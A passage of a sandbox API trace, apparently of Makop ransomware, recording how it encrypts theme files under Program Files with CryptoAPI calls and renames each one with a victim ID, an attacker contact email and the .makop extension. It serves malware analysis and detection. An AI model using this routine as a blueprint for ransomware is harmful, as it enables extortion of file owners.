(HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.928] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.928] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.928] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0095.932] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.933] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.933] GetProcessHeap () returned 0x48a0000 [0095.933] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.933] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.933] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.933] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.933] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.933] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.933] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.934] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.934] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.934] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.934] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.934] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x80f1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x80f1, lpOverlapped=0x0) returned 1 [0095.936] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8100, dwBufLen=0x8100 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8100) returned 1 [0095.936] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.936] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8100, lpOverlapped=0x0) returned 1 [0095.937] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.937] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x81d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.937] SetEndOfFile (hFile=0x138) returned 1 [0095.944] GetProcessHeap () returned 0x48a0000 [0095.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.944] GetProcessHeap () returned 0x48a0000 [0095.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.944] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.945] CloseHandle (hObject=0x138) returned 1 [0095.945] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0095.946] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0095.946] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0095.946] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT") returned 64 [0095.946] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*") returned 68 [0095.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0095.950] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.951] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0095.951] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0095.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.951] GetProcessHeap () returned 0x48a0000 [0095.951] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.951] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.952] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.952] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0095.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.955] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.955] GetProcessHeap () returned 0x48a0000 [0095.955] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.956] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.956] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.956] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.956] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.956] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.956] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.956] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.956] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.956] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.957] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.957] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.957] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xda86, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xda86, lpOverlapped=0x0) returned 1 [0095.958] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xda90, dwBufLen=0xda90 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xda90) returned 1 [0095.959] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.959] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xda90, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xda90, lpOverlapped=0x0) returned 1 [0095.960] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.960] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xdb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.960] SetEndOfFile (hFile=0x138) returned 1 [0095.967] GetProcessHeap () returned 0x48a0000 [0095.967] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.967] GetProcessHeap () returned 0x48a0000 [0095.967] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.967] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.969] CloseHandle (hObject=0x138) returned 1 [0095.969] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0095.969] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned 77 [0095.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.971] GetProcessHeap () returned 0x48a0000 [0095.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.971] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.971] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.971] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0095.975] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.975] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.975] GetProcessHeap () returned 0x48a0000 [0095.975] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.975] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.975] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.975] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.975] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.975] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.976] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.976] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.976] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.976] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.976] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.976] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.976] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x225, lpOverlapped=0x0) returned 1 [0095.977] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x230, dwBufLen=0x230 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x230) returned 1 [0095.977] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.977] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x230, lpOverlapped=0x0) returned 1 [0095.977] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.977] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.977] SetEndOfFile (hFile=0x138) returned 1 [0095.983] GetProcessHeap () returned 0x48a0000 [0095.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.983] GetProcessHeap () returned 0x48a0000 [0095.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.983] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.988] CloseHandle (hObject=0x138) returned 1 [0095.988] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0095.988] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0095.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.989] GetProcessHeap () returned 0x48a0000 [0095.989] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.989] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.989] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.989] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0095.993] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.993] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.993] GetProcessHeap () returned 0x48a0000 [0095.993] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.993] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.993] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.993] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.993] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.994] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.994] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.994] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.994] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.994] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.994] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.994] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.994] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x785, 